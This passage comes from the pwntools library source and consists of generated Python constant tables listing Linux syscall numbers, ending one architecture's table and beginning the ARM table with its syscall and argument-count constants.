Constant('SYS__sysctl',156) SYS_sysfs = Constant('SYS_sysfs',139) SYS_sysinfo = Constant('SYS_sysinfo',99) SYS_syslog = Constant('SYS_syslog',103) SYS_tee = Constant('SYS_tee',276) SYS_tgkill = Constant('SYS_tgkill',234) SYS_time = Constant('SYS_time',201) SYS_timer_create = Constant('SYS_timer_create',222) SYS_timer_delete = Constant('SYS_timer_delete',226) SYS_timerfd = Constant('SYS_timerfd',283) SYS_timerfd_gettime = Constant('SYS_timerfd_gettime',287) SYS_timerfd_settime = Constant('SYS_timerfd_settime',286) SYS_timer_getoverrun = Constant('SYS_timer_getoverrun',225) SYS_timer_gettime = Constant('SYS_timer_gettime',224) SYS_timer_settime = Constant('SYS_timer_settime',223) SYS_times = Constant('SYS_times',100) SYS_tkill = Constant('SYS_tkill',200) SYS_truncate = Constant('SYS_truncate',76) SYS_tuxcall = Constant('SYS_tuxcall',184) SYS_umask = Constant('SYS_umask',95) SYS_umount2 = Constant('SYS_umount2',166) SYS_uname = Constant('SYS_uname',63) SYS_unlink = Constant('SYS_unlink',87) SYS_unlinkat = Constant('SYS_unlinkat',263) SYS_unshare = Constant('SYS_unshare',272) SYS_uselib = Constant('SYS_uselib',134) SYS_userfaultfd = Constant('SYS_userfaultfd',323) SYS_ustat = Constant('SYS_ustat',136) SYS_utime = Constant('SYS_utime',132) SYS_utimensat = Constant('SYS_utimensat',280) SYS_utimes = Constant('SYS_utimes',235) SYS_vfork = Constant('SYS_vfork',58) SYS_vhangup = Constant('SYS_vhangup',153) SYS_vmsplice = Constant('SYS_vmsplice',278) SYS_vserver = Constant('SYS_vserver',236) SYS_wait4 = Constant('SYS_wait4',61) SYS_waitid = Constant('SYS_waitid',247) SYS_write = Constant('SYS_write',1) SYS_writev = Constant('SYS_writev',20) Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/arm.py000066400000000000000000002671731507273764500240210ustar00rootroot00000000000000from pwnlib.constants.constant import Constant __ARM_EABI__ = Constant('__ARM_EABI__',1) __KERNEL__ = Constant('__KERNEL__',1) _ARM_SYSCALL_H = Constant('_ARM_SYSCALL_H',1) __NR_OABI_SYSCALL_BASE = Constant('__NR_OABI_SYSCALL_BASE',0x900000) __NR_SYSCALL_BASE = Constant('__NR_SYSCALL_BASE',0) __NR_restart_syscall = Constant('__NR_restart_syscall',(0+ 0)) __NR_exit = Constant('__NR_exit',(0+ 1)) __NR_fork = Constant('__NR_fork',(0+ 2)) __NR_read = Constant('__NR_read',(0+ 3)) __NR_write = Constant('__NR_write',(0+ 4)) __NR_open = Constant('__NR_open',(0+ 5)) __NR_close = Constant('__NR_close',(0+ 6)) __NR_creat = Constant('__NR_creat',(0+ 8)) __NR_link = Constant('__NR_link',(0+ 9)) __NR_unlink = Constant('__NR_unlink',(0+ 10)) __NR_execve = Constant('__NR_execve',(0+ 11)) __NR_chdir = Constant('__NR_chdir',(0+ 12)) __NR_time = Constant('__NR_time',(0+ 13)) __NR_mknod = Constant('__NR_mknod',(0+ 14)) __NR_chmod = Constant('__NR_chmod',(0+ 15)) __NR_lchown = Constant('__NR_lchown',(0+ 16)) __NR_lseek = Constant('__NR_lseek',(0+ 19)) __NR_getpid = Constant('__NR_getpid',(0+ 20)) __NR_mount = Constant('__NR_mount',(0+ 21)) __NR_umount = Constant('__NR_umount',(0+ 22)) __NR_setuid = Constant('__NR_setuid',(0+ 23)) __NR_getuid = Constant('__NR_getuid',(0+ 24)) __NR_stime = Constant('__NR_stime',(0+ 25)) __NR_ptrace = Constant('__NR_ptrace',(0+ 26)) __NR_alarm = Constant('__NR_alarm',(0+ 27)) __NR_pause = Constant('__NR_pause',(0+ 29)) __NR_utime = Constant('__NR_utime',(0+ 30)) __NR_access = Constant('__NR_access',(0+ 33)) __NR_nice = Constant('__NR_nice',(0+ 34)) __NR_sync = Constant('__NR_sync',(0+ 36)) __NR_kill = Constant('__NR_kill',(0+ 37)) __NR_rename = Constant('__NR_rename',(0+ 38)) __NR_mkdir = Constant('__NR_mkdir',(0+ 39)) __NR_rmdir = Constant('__NR_rmdir',(0+ 40)) __NR_dup = Constant('__NR_dup',(0+ 41)) __NR_pipe = Constant('__NR_pipe',(0+ 42)) __NR_times = Constant('__NR_times',(0+ 43)) __NR_brk = Constant('__NR_brk',(0+ 45)) __NR_setgid = Constant('__NR_setgid',(0+ 46)) __NR_getgid = Constant('__NR_getgid',(0+ 47)) __NR_geteuid = Constant('__NR_geteuid',(0+ 49)) __NR_getegid = Constant('__NR_getegid',(0+ 50)) __NR_acct = Constant('__NR_acct',(0+ 51)) __NR_umount2 = Constant('__NR_umount2',(0+ 52)) __NR_ioctl = Constant('__NR_ioctl',(0+ 54)) __NR_fcntl = Constant('__NR_fcntl',(0+ 55)) __NR_setpgid = Constant('__NR_setpgid',(0+ 57)) __NR_umask = Constant('__NR_umask',(0+ 60)) __NR_chroot = Constant('__NR_chroot',(0+ 61)) __NR_ustat = Constant('__NR_ustat',(0+ 62)) __NR_dup2 = Constant('__NR_dup2',(0+ 63)) __NR_getppid = Constant('__NR_getppid',(0+ 64)) __NR_getpgrp = Constant('__NR_getpgrp',(0+ 65)) __NR_setsid = Constant('__NR_setsid',(0+ 66)) __NR_sigaction = Constant('__NR_sigaction',(0+ 67)) __NR_setreuid = Constant('__NR_setreuid',(0+ 70)) __NR_setregid = Constant('__NR_setregid',(0+ 71)) __NR_sigsuspend = Constant('__NR_sigsuspend',(0+ 72)) __NR_sigpending = Constant('__NR_sigpending',(0+ 73)) __NR_sethostname = Constant('__NR_sethostname',(0+ 74)) __NR_setrlimit = Constant('__NR_setrlimit',(0+ 75)) __NR_getrlimit = Constant('__NR_getrlimit',(0+ 76)) __NR_getrusage = Constant('__NR_getrusage',(0+ 77)) __NR_gettimeofday = Constant('__NR_gettimeofday',(0+ 78)) __NR_settimeofday = Constant('__NR_settimeofday',(0+ 79)) __NR_getgroups = Constant('__NR_getgroups',(0+ 80)) __NR_setgroups = Constant('__NR_setgroups',(0+ 81)) __NR_select = Constant('__NR_select',(0+ 82)) __NR_symlink = Constant('__NR_symlink',(0+ 83)) __NR_readlink = Constant('__NR_readlink',(0+ 85)) __NR_uselib = Constant('__NR_uselib',(0+ 86)) __NR_swapon = Constant('__NR_swapon',(0+ 87)) __NR_reboot = Constant('__NR_reboot',(0+ 88)) __NR_readdir = Constant('__NR_readdir',(0+ 89)) __NR_mmap = Constant('__NR_mmap',(0+ 90)) __NR_munmap = Constant('__NR_munmap',(0+ 91)) __NR_truncate = Constant('__NR_truncate',(0+ 92)) __NR_ftruncate = Constant('__NR_ftruncate',(0+ 93)) __NR_fchmod = Constant('__NR_fchmod',(0+ 94)) __NR_fchown = Constant('__NR_fchown',(0+ 95)) __NR_getpriority = Constant('__NR_getpriority',(0+ 96)) __NR_setpriority = Constant('__NR_setpriority',(0+ 97)) __NR_statfs = Constant('__NR_statfs',(0+ 99)) __NR_fstatfs = Constant('__NR_fstatfs',(0+100)) __NR_socketcall = Constant('__NR_socketcall',(0+102)) __NR_syslog = Constant('__NR_syslog',(0+103)) __NR_setitimer = Constant('__NR_setitimer',(0+104)) __NR_getitimer = Constant('__NR_getitimer',(0+105)) __NR_stat = Constant('__NR_stat',(0+106)) __NR_lstat = Constant('__NR_lstat',(0+107)) __NR_fstat = Constant('__NR_fstat',(0+108)) __NR_vhangup = Constant('__NR_vhangup',(0+111)) __NR_syscall = Constant('__NR_syscall',(0+113)) __NR_wait4 = Constant('__NR_wait4',(0+114)) __NR_swapoff = Constant('__NR_swapoff',(0+115)) __NR_sysinfo = Constant('__NR_sysinfo',(0+116)) __NR_ipc = Constant('__NR_ipc',(0+117)) __NR_fsync = Constant('__NR_fsync',(0+118)) __NR_sigreturn = Constant('__NR_sigreturn',(0+119)) __NR_clone = Constant('__NR_clone',(0+120)) __NR_setdomainname = Constant('__NR_setdomainname',(0+121)) __NR_uname = Constant('__NR_uname',(0+122)) __NR_adjtimex = Constant('__NR_adjtimex',(0+124)) __NR_mprotect = Constant('__NR_mprotect',(0+125)) __NR_sigprocmask = Constant('__NR_sigprocmask',(0+126)) __NR_init_module = Constant('__NR_init_module',(0+128)) __NR_delete_module = Constant('__NR_delete_module',(0+129)) __NR_quotactl = Constant('__NR_quotactl',(0+131)) __NR_getpgid = Constant('__NR_getpgid',(0+132)) __NR_fchdir = Constant('__NR_fchdir',(0+133)) __NR_bdflush = Constant('__NR_bdflush',(0+134)) __NR_sysfs = Constant('__NR_sysfs',(0+135)) __NR_personality = Constant('__NR_personality',(0+136)) __NR_setfsuid = Constant('__NR_setfsuid',(0+138)) __NR_setfsgid = Constant('__NR_setfsgid',(0+139)) __NR__llseek = Constant('__NR__llseek',(0+140)) __NR_getdents = Constant('__NR_getdents',(0+141)) __NR__newselect = Constant('__NR__newselect',(0+142)) __NR_flock = Constant('__NR_flock',(0+143)) __NR_msync = Constant('__NR_msync',(0+144)) __NR_readv = Constant('__NR_readv',(0+145)) __NR_writev = Constant('__NR_writev',(0+146)) __NR_getsid = Constant('__NR_getsid',(0+147)) __NR_fdatasync = Constant('__NR_fdatasync',(0+148)) __NR__sysctl = Constant('__NR__sysctl',(0+149)) __NR_mlock = Constant('__NR_mlock',(0+150)) __NR_munlock = Constant('__NR_munlock',(0+151)) __NR_mlockall = Constant('__NR_mlockall',(0+152)) __NR_munlockall = Constant('__NR_munlockall',(0+153)) __NR_sched_setparam = Constant('__NR_sched_setparam',(0+154)) __NR_sched_getparam = Constant('__NR_sched_getparam',(0+155)) __NR_sched_setscheduler = Constant('__NR_sched_setscheduler',(0+156)) __NR_sched_getscheduler = Constant('__NR_sched_getscheduler',(0+157)) __NR_sched_yield = Constant('__NR_sched_yield',(0+158)) __NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',(0+159)) __NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',(0+160)) __NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',(0+161)) __NR_nanosleep = Constant('__NR_nanosleep',(0+162)) __NR_mremap = Constant('__NR_mremap',(0+163)) __NR_setresuid = Constant('__NR_setresuid',(0+164)) __NR_getresuid = Constant('__NR_getresuid',(0+165)) __NR_poll = Constant('__NR_poll',(0+168)) __NR_nfsservctl = Constant('__NR_nfsservctl',(0+169)) __NR_setresgid = Constant('__NR_setresgid',(0+170)) __NR_getresgid = Constant('__NR_getresgid',(0+171)) __NR_prctl = Constant('__NR_prctl',(0+172)) __NR_rt_sigreturn = Constant('__NR_rt_sigreturn',(0+173)) __NR_rt_sigaction = Constant('__NR_rt_sigaction',(0+174)) __NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',(0+175)) __NR_rt_sigpending = Constant('__NR_rt_sigpending',(0+176)) __NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',(0+177)) __NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',(0+178)) __NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',(0+179)) __NR_pread64 = Constant('__NR_pread64',(0+180)) __NR_pwrite64 = Constant('__NR_pwrite64',(0+181)) __NR_chown = Constant('__NR_chown',(0+182)) __NR_getcwd = Constant('__NR_getcwd',(0+183)) __NR_capget = Constant('__NR_capget',(0+184)) __NR_capset = Constant('__NR_capset',(0+185)) __NR_sigaltstack = Constant('__NR_sigaltstack',(0+186)) __NR_sendfile = Constant('__NR_sendfile',(0+187)) __NR_vfork = Constant('__NR_vfork',(0+190)) __NR_ugetrlimit = Constant('__NR_ugetrlimit',(0+191)) __NR_mmap2 = Constant('__NR_mmap2',(0+192)) __NR_truncate64 = Constant('__NR_truncate64',(0+193)) __NR_ftruncate64 = Constant('__NR_ftruncate64',(0+194)) __NR_stat64 = Constant('__NR_stat64',(0+195)) __NR_lstat64 = Constant('__NR_lstat64',(0+196)) __NR_fstat64 = Constant('__NR_fstat64',(0+197)) __NR_lchown32 = Constant('__NR_lchown32',(0+198)) __NR_getuid32 = Constant('__NR_getuid32',(0+199)) __NR_getgid32 = Constant('__NR_getgid32',(0+200)) __NR_geteuid32 = Constant('__NR_geteuid32',(0+201)) __NR_getegid32 = Constant('__NR_getegid32',(0+202)) __NR_setreuid32 = Constant('__NR_setreuid32',(0+203)) __NR_setregid32 = Constant('__NR_setregid32',(0+204)) __NR_getgroups32 = Constant('__NR_getgroups32',(0+205)) __NR_setgroups32 = Constant('__NR_setgroups32',(0+206)) __NR_fchown32 = Constant('__NR_fchown32',(0+207)) __NR_setresuid32 = Constant('__NR_setresuid32',(0+208)) __NR_getresuid32 = Constant('__NR_getresuid32',(0+209)) __NR_setresgid32 = Constant('__NR_setresgid32',(0+210)) __NR_getresgid32 = Constant('__NR_getresgid32',(0+211)) __NR_chown32 = Constant('__NR_chown32',(0+212)) __NR_setuid32 = Constant('__NR_setuid32',(0+213)) __NR_setgid32 = Constant('__NR_setgid32',(0+214)) __NR_setfsuid32 = Constant('__NR_setfsuid32',(0+215)) __NR_setfsgid32 = Constant('__NR_setfsgid32',(0+216)) __NR_getdents64 = Constant('__NR_getdents64',(0+217)) __NR_pivot_root = Constant('__NR_pivot_root',(0+218)) __NR_mincore = Constant('__NR_mincore',(0+219)) __NR_madvise = Constant('__NR_madvise',(0+220)) __NR_fcntl64 = Constant('__NR_fcntl64',(0+221)) __NR_gettid = Constant('__NR_gettid',(0+224)) __NR_readahead = Constant('__NR_readahead',(0+225)) __NR_setxattr = Constant('__NR_setxattr',(0+226)) __NR_lsetxattr = Constant('__NR_lsetxattr',(0+227)) __NR_fsetxattr = Constant('__NR_fsetxattr',(0+228)) __NR_getxattr = Constant('__NR_getxattr',(0+229)) __NR_lgetxattr = Constant('__NR_lgetxattr',(0+230)) __NR_fgetxattr = Constant('__NR_fgetxattr',(0+231)) __NR_listxattr = Constant('__NR_listxattr',(0+232)) __NR_llistxattr = Constant('__NR_llistxattr',(0+233)) __NR_flistxattr = Constant('__NR_flistxattr',(0+234)) __NR_removexattr = Constant('__NR_removexattr',(0+235)) __NR_lremovexattr = Constant('__NR_lremovexattr',(0+236)) __NR_fremovexattr = Constant('__NR_fremovexattr',(0+237)) __NR_tkill = Constant('__NR_tkill',(0+238)) __NR_sendfile64 = Constant('__NR_sendfile64',(0+239)) __NR_futex = Constant('__NR_futex',(0+240)) __NR_sched_setaffinity = Constant('__NR_sched_setaffinity',(0+241)) __NR_sched_getaffinity = Constant('__NR_sched_getaffinity',(0+242)) __NR_io_setup = Constant('__NR_io_setup',(0+243)) __NR_io_destroy = Constant('__NR_io_destroy',(0+244)) __NR_io_getevents = Constant('__NR_io_getevents',(0+245)) __NR_io_submit = Constant('__NR_io_submit',(0+246)) __NR_io_cancel = Constant('__NR_io_cancel',(0+247)) __NR_exit_group = Constant('__NR_exit_group',(0+248)) __NR_lookup_dcookie = Constant('__NR_lookup_dcookie',(0+249)) __NR_epoll_create = Constant('__NR_epoll_create',(0+250)) __NR_epoll_ctl = Constant('__NR_epoll_ctl',(0+251)) __NR_epoll_wait = Constant('__NR_epoll_wait',(0+252)) __NR_remap_file_pages = Constant('__NR_remap_file_pages',(0+253)) __NR_set_tid_address = Constant('__NR_set_tid_address',(0+256)) __NR_timer_create = Constant('__NR_timer_create',(0+257)) __NR_timer_settime = Constant('__NR_timer_settime',(0+258)) __NR_timer_gettime = Constant('__NR_timer_gettime',(0+259)) __NR_timer_getoverrun = Constant('__NR_timer_getoverrun',(0+260)) __NR_timer_delete = Constant('__NR_timer_delete',(0+261)) __NR_clock_settime = Constant('__NR_clock_settime',(0+262)) __NR_clock_gettime = Constant('__NR_clock_gettime',(0+263)) __NR_clock_getres = Constant('__NR_clock_getres',(0+264)) __NR_clock_nanosleep = Constant('__NR_clock_nanosleep',(0+265)) __NR_statfs64 = Constant('__NR_statfs64',(0+266)) __NR_fstatfs64 = Constant('__NR_fstatfs64',(0+267)) __NR_tgkill = Constant('__NR_tgkill',(0+268)) __NR_utimes = Constant('__NR_utimes',(0+269)) __NR_arm_fadvise64_64 = Constant('__NR_arm_fadvise64_64',(0+270)) __NR_pciconfig_iobase = Constant('__NR_pciconfig_iobase',(0+271)) __NR_pciconfig_read = Constant('__NR_pciconfig_read',(0+272)) __NR_pciconfig_write = Constant('__NR_pciconfig_write',(0+273)) __NR_mq_open = Constant('__NR_mq_open',(0+274)) __NR_mq_unlink = Constant('__NR_mq_unlink',(0+275)) __NR_mq_timedsend = Constant('__NR_mq_timedsend',(0+276)) __NR_mq_timedreceive = Constant('__NR_mq_timedreceive',(0+277)) __NR_mq_notify = Constant('__NR_mq_notify',(0+278)) __NR_mq_getsetattr = Constant('__NR_mq_getsetattr',(0+279)) __NR_waitid = Constant('__NR_waitid',(0+280)) __NR_socket = Constant('__NR_socket',(0+281)) __NR_bind = Constant('__NR_bind',(0+282)) __NR_connect = Constant('__NR_connect',(0+283)) __NR_listen = Constant('__NR_listen',(0+284)) __NR_accept = Constant('__NR_accept',(0+285)) __NR_getsockname = Constant('__NR_getsockname',(0+286)) __NR_getpeername = Constant('__NR_getpeername',(0+287)) __NR_socketpair = Constant('__NR_socketpair',(0+288)) __NR_send = Constant('__NR_send',(0+289)) __NR_sendto = Constant('__NR_sendto',(0+290)) __NR_recv = Constant('__NR_recv',(0+291)) __NR_recvfrom = Constant('__NR_recvfrom',(0+292)) __NR_shutdown = Constant('__NR_shutdown',(0+293)) __NR_setsockopt = Constant('__NR_setsockopt',(0+294)) __NR_getsockopt = Constant('__NR_getsockopt',(0+295)) __NR_sendmsg = Constant('__NR_sendmsg',(0+296)) __NR_recvmsg = Constant('__NR_recvmsg',(0+297)) __NR_semop = Constant('__NR_semop',(0+298)) __NR_semget = Constant('__NR_semget',(0+299)) __NR_semctl = Constant('__NR_semctl',(0+300)) __NR_msgsnd = Constant('__NR_msgsnd',(0+301)) __NR_msgrcv = Constant('__NR_msgrcv',(0+302)) __NR_msgget = Constant('__NR_msgget',(0+303)) __NR_msgctl = Constant('__NR_msgctl',(0+304)) __NR_shmat = Constant('__NR_shmat',(0+305)) __NR_shmdt = Constant('__NR_shmdt',(0+306)) __NR_shmget = Constant('__NR_shmget',(0+307)) __NR_shmctl = Constant('__NR_shmctl',(0+308)) __NR_add_key = Constant('__NR_add_key',(0+309)) __NR_request_key = Constant('__NR_request_key',(0+310)) __NR_keyctl = Constant('__NR_keyctl',(0+311)) __NR_semtimedop = Constant('__NR_semtimedop',(0+312)) __NR_vserver = Constant('__NR_vserver',(0+313)) __NR_ioprio_set = Constant('__NR_ioprio_set',(0+314)) __NR_ioprio_get = Constant('__NR_ioprio_get',(0+315)) __NR_inotify_init = Constant('__NR_inotify_init',(0+316)) __NR_inotify_add_watch = Constant('__NR_inotify_add_watch',(0+317)) __NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',(0+318)) __NR_mbind = Constant('__NR_mbind',(0+319)) __NR_get_mempolicy = Constant('__NR_get_mempolicy',(0+320)) __NR_set_mempolicy = Constant('__NR_set_mempolicy',(0+321)) __NR_openat = Constant('__NR_openat',(0+322)) __NR_mkdirat = Constant('__NR_mkdirat',(0+323)) __NR_mknodat = Constant('__NR_mknodat',(0+324)) __NR_fchownat = Constant('__NR_fchownat',(0+325)) __NR_futimesat = Constant('__NR_futimesat',(0+326)) __NR_fstatat64 = Constant('__NR_fstatat64',(0+327)) __NR_unlinkat = Constant('__NR_unlinkat',(0+328)) __NR_renameat = Constant('__NR_renameat',(0+329)) __NR_linkat = Constant('__NR_linkat',(0+330)) __NR_symlinkat = Constant('__NR_symlinkat',(0+331)) __NR_readlinkat = Constant('__NR_readlinkat',(0+332)) __NR_fchmodat = Constant('__NR_fchmodat',(0+333)) __NR_faccessat = Constant('__NR_faccessat',(0+334)) __NR_unshare = Constant('__NR_unshare',(0+337)) __NR_set_robust_list = Constant('__NR_set_robust_list',(0+338)) __NR_get_robust_list = Constant('__NR_get_robust_list',(0+339)) __NR_splice = Constant('__NR_splice',(0+340)) __NR_arm_sync_file_range = Constant('__NR_arm_sync_file_range',(0+341)) __NR_tee = Constant('__NR_tee',(0+342)) __NR_vmsplice = Constant('__NR_vmsplice',(0+343)) __NR_move_pages = Constant('__NR_move_pages',(0+344)) __NR_getcpu = Constant('__NR_getcpu',(0+345)) __NR_kexec_load = Constant('__NR_kexec_load',(0+347)) __NR_utimensat = Constant('__NR_utimensat',(0+348)) __NR_signalfd = Constant('__NR_signalfd',(0+349)) __NR_timerfd = Constant('__NR_timerfd',(0+350)) __NR_eventfd = Constant('__NR_eventfd',(0+351)) __NR_fallocate = Constant('__NR_fallocate',(0+352)) __NR_timerfd_settime = Constant('__NR_timerfd_settime',(0+353)) __NR_timerfd_gettime = Constant('__NR_timerfd_gettime',(0+354)) __NR_signalfd4 = Constant('__NR_signalfd4',(0+355)) __NR_eventfd2 = Constant('__NR_eventfd2',(0+356)) __NR_epoll_create1 = Constant('__NR_epoll_create1',(0+357)) __NR_dup3 = Constant('__NR_dup3',(0+358)) __NR_pipe2 = Constant('__NR_pipe2',(0+359)) __NR_inotify_init1 = Constant('__NR_inotify_init1',(0+360)) __NR_preadv = Constant('__NR_preadv',(0+361)) __NR_pwritev = Constant('__NR_pwritev',(0+362)) __NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',(0+363)) __NR_perf_event_open = Constant('__NR_perf_event_open',(0+364)) __NR_recvmmsg = Constant('__NR_recvmmsg',(0+365)) __NR_accept4 = Constant('__NR_accept4',(0+366)) __NR_fanotify_init = Constant('__NR_fanotify_init',(0+367)) __NR_fanotify_mark = Constant('__NR_fanotify_mark',(0+368)) __NR_prlimit64 = Constant('__NR_prlimit64',(0+369)) __NR_name_to_handle_at = Constant('__NR_name_to_handle_at',(0+370)) __NR_open_by_handle_at = Constant('__NR_open_by_handle_at',(0+371)) __NR_clock_adjtime = Constant('__NR_clock_adjtime',(0+372)) __NR_syncfs = Constant('__NR_syncfs',(0+373)) __NR_sendmmsg = Constant('__NR_sendmmsg',(0+374)) __NR_setns = Constant('__NR_setns',(0+375)) __NR_process_vm_readv = Constant('__NR_process_vm_readv',(0+376)) __NR_process_vm_writev = Constant('__NR_process_vm_writev',(0+377)) __NR_kcmp = Constant('__NR_kcmp',(0+378)) __NR_finit_module = Constant('__NR_finit_module',(0+379)) __NR_sched_setattr = Constant('__NR_sched_setattr',(0+380)) __NR_sched_getattr = Constant('__NR_sched_getattr',(0+381)) __NR_renameat2 = Constant('__NR_renameat2',(0+382)) __NR_seccomp = Constant('__NR_seccomp',(0+383)) __NR_getrandom = Constant('__NR_getrandom',(0+384)) __NR_memfd_create = Constant('__NR_memfd_create',(0+385)) __NR_bpf = Constant('__NR_bpf',(0+386)) __NR_execveat = Constant('__NR_execveat',(0+387)) __NR_userfaultfd = Constant('__NR_userfaultfd',(0+388)) __NR_membarrier = Constant('__NR_membarrier',(0+389)) __NR_mlock2 = Constant('__NR_mlock2',(0+390)) __NR_copy_file_range = Constant('__NR_copy_file_range',(0+391)) __NR_preadv2 = Constant('__NR_preadv2',(0+392)) __NR_pwritev2 = Constant('__NR_pwritev2',(0+393)) __NR_pkey_mprotect = Constant('__NR_pkey_mprotect',(0 + 394)) __NR_pkey_alloc = Constant('__NR_pkey_alloc',(0 + 395)) __NR_pkey_free = Constant('__NR_pkey_free',(0 + 396)) __NR_statx = Constant('__NR_statx',(0 + 397)) __NR_rseq = Constant('__NR_rseq',(0 + 398)) __NR_io_pgetevents = Constant('__NR_io_pgetevents',(0 + 399)) __NR_migrate_pages = Constant('__NR_migrate_pages',(0 + 400)) __NR_kexec_file_load = Constant('__NR_kexec_file_load',(0 + 401)) __NR_clock_gettime64 = Constant('__NR_clock_gettime64',(0 + 403)) __NR_clock_settime64 = Constant('__NR_clock_settime64',(0 + 404)) __NR_clock_adjtime64 = Constant('__NR_clock_adjtime64',(0 + 405)) __NR_clock_getres_time64 = Constant('__NR_clock_getres_time64',(0 + 406)) __NR_clock_nanosleep_time64 = Constant('__NR_clock_nanosleep_time64',(0 + 407)) __NR_timer_gettime64 = Constant('__NR_timer_gettime64',(0 + 408)) __NR_timer_settime64 = Constant('__NR_timer_settime64',(0 + 409)) __NR_timerfd_gettime64 = Constant('__NR_timerfd_gettime64',(0 + 410)) __NR_timerfd_settime64 = Constant('__NR_timerfd_settime64',(0 + 411)) __NR_utimensat_time64 = Constant('__NR_utimensat_time64',(0 + 412)) __NR_pselect6_time64 = Constant('__NR_pselect6_time64',(0 + 413)) __NR_ppoll_time64 = Constant('__NR_ppoll_time64',(0 + 414)) __NR_io_pgetevents_time64 = Constant('__NR_io_pgetevents_time64',(0 + 416)) __NR_recvmmsg_time64 = Constant('__NR_recvmmsg_time64',(0 + 417)) __NR_mq_timedsend_time64 = Constant('__NR_mq_timedsend_time64',(0 + 418)) __NR_mq_timedreceive_time64 = Constant('__NR_mq_timedreceive_time64',(0 + 419)) __NR_semtimedop_time64 = Constant('__NR_semtimedop_time64',(0 + 420)) __NR_rt_sigtimedwait_time64 = Constant('__NR_rt_sigtimedwait_time64',(0 + 421)) __NR_futex_time64 = Constant('__NR_futex_time64',(0 + 422)) __NR_sched_rr_get_interval_time64 = Constant('__NR_sched_rr_get_interval_time64',(0 + 423)) __NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',(0 + 424)) __NR_io_uring_setup = Constant('__NR_io_uring_setup',(0 + 425)) __NR_io_uring_enter = Constant('__NR_io_uring_enter',(0 + 426)) __NR_io_uring_register = Constant('__NR_io_uring_register',(0 + 427)) __NR_open_tree = Constant('__NR_open_tree',(0 + 428)) __NR_move_mount = Constant('__NR_move_mount',(0 + 429)) __NR_fsopen = Constant('__NR_fsopen',(0 + 430)) __NR_fsconfig = Constant('__NR_fsconfig',(0 + 431)) __NR_fsmount = Constant('__NR_fsmount',(0 + 432)) __NR_fspick = Constant('__NR_fspick',(0 + 433)) __NR_pidfd_open = Constant('__NR_pidfd_open',(0 + 434)) __NR_clone3 = Constant('__NR_clone3',(0 + 435)) __NR_openat2 = Constant('__NR_openat2',(0 + 437)) __NR_pidfd_getfd = Constant('__NR_pidfd_getfd',(0 + 438)) __ARM_NR_BASE = Constant('__ARM_NR_BASE',(0+0x0f0000)) __ARM_NR_breakpoint = Constant('__ARM_NR_breakpoint',((0+0x0f0000)+1)) __ARM_NR_cacheflush = Constant('__ARM_NR_cacheflush',((0+0x0f0000)+2)) __ARM_NR_usr26 = Constant('__ARM_NR_usr26',((0+0x0f0000)+3)) __ARM_NR_usr32 = Constant('__ARM_NR_usr32',((0+0x0f0000)+4)) __ARM_NR_set_tls = Constant('__ARM_NR_set_tls',((0+0x0f0000)+5)) __ARGS_exit = Constant('__ARGS_exit',0) __ARGS_fork = Constant('__ARGS_fork',0) __ARGS_read = Constant('__ARGS_read',0) __ARGS_write = Constant('__ARGS_write',0) __ARGS_open = Constant('__ARGS_open',0) __ARGS_close = Constant('__ARGS_close',0) __ARGS_waitpid = Constant('__ARGS_waitpid',0) __ARGS_creat = Constant('__ARGS_creat',0) __ARGS_link = Constant('__ARGS_link',0) __ARGS_unlink = Constant('__ARGS_unlink',0) __ARGS_execve = Constant('__ARGS_execve',0) __ARGS_chdir = Constant('__ARGS_chdir',0) __ARGS_time = Constant('__ARGS_time',0) __ARGS_mknod = Constant('__ARGS_mknod',0) __ARGS_chmod = Constant('__ARGS_chmod',0) __ARGS_lchown = Constant('__ARGS_lchown',0) __ARGS_break = Constant('__ARGS_break',0) __ARGS_lseek = Constant('__ARGS_lseek',0) __ARGS_getpid = Constant('__ARGS_getpid',0) __ARGS_mount = Constant('__ARGS_mount',1) __ARGS_umount = Constant('__ARGS_umount',0) __ARGS_setuid = Constant('__ARGS_setuid',0) __ARGS_getuid = Constant('__ARGS_getuid',0) __ARGS_stime = Constant('__ARGS_stime',0) __ARGS_ptrace = Constant('__ARGS_ptrace',0) __ARGS_alarm = Constant('__ARGS_alarm',0) __ARGS_pause = Constant('__ARGS_pause',0) __ARGS_utime = Constant('__ARGS_utime',0) __ARGS_stty = Constant('__ARGS_stty',0) __ARGS_gtty = Constant('__ARGS_gtty',0) __ARGS_access = Constant('__ARGS_access',0) __ARGS_nice = Constant('__ARGS_nice',0) __ARGS_ftime = Constant('__ARGS_ftime',0) __ARGS_sync = Constant('__ARGS_sync',0) __ARGS_kill = Constant('__ARGS_kill',0) __ARGS_rename = Constant('__ARGS_rename',0) __ARGS_mkdir = Constant('__ARGS_mkdir',0) __ARGS_rmdir = Constant('__ARGS_rmdir',0) __ARGS_dup = Constant('__ARGS_dup',0) __ARGS_pipe = Constant('__ARGS_pipe',0) __ARGS_times = Constant('__ARGS_times',0) __ARGS_prof = Constant('__ARGS_prof',0) __ARGS_brk = Constant('__ARGS_brk',0) __ARGS_setgid = Constant('__ARGS_setgid',0) __ARGS_getgid = Constant('__ARGS_getgid',0) __ARGS_signal = Constant('__ARGS_signal',0) __ARGS_geteuid = Constant('__ARGS_geteuid',0) __ARGS_getegid = Constant('__ARGS_getegid',0) __ARGS_acct = Constant('__ARGS_acct',0) __ARGS_umount2 = Constant('__ARGS_umount2',0) __ARGS_lock = Constant('__ARGS_lock',0) __ARGS_ioctl = Constant('__ARGS_ioctl',0) __ARGS_fcntl = Constant('__ARGS_fcntl',0) __ARGS_mpx = Constant('__ARGS_mpx',0) __ARGS_setpgid = Constant('__ARGS_setpgid',0) __ARGS_ulimit = Constant('__ARGS_ulimit',0) __ARGS_umask = Constant('__ARGS_umask',0) __ARGS_chroot = Constant('__ARGS_chroot',0) __ARGS_ustat = Constant('__ARGS_ustat',0) __ARGS_dup2 = Constant('__ARGS_dup2',0) __ARGS_getppid = Constant('__ARGS_getppid',0) __ARGS_getpgrp = Constant('__ARGS_getpgrp',0) __ARGS_setsid = Constant('__ARGS_setsid',0) __ARGS_sigaction 